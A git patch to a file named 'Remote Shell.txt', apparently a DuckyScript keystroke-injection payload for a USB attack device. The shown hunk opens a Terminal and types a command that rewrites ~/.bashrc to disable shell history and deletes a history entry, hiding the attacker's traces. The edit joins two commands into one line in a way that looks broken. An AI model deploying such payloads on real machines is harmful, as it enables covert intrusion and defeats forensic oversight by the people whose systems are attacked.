From 0785d3013527769289c9068ed3e4bb8100c86370 Mon Sep 17 00:00:00 2001 From: Narsty Date: Fri, 23 Jun 2023 20:08:39 -0500 Subject: [PATCH] Update Remote Shell.txt --- Executions/Remote Shell.txt | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Executions/Remote Shell.txt b/Executions/Remote Shell.txt index f09ead4..a2b5117 100644 --- a/Executions/Remote Shell.txt +++ b/Executions/Remote Shell.txt @@ -36,8 +36,7 @@ STRING Terminal DELAY 500 ENTER DELAY 500 -STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash -history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') DELAY 500 ENTER DELAY 500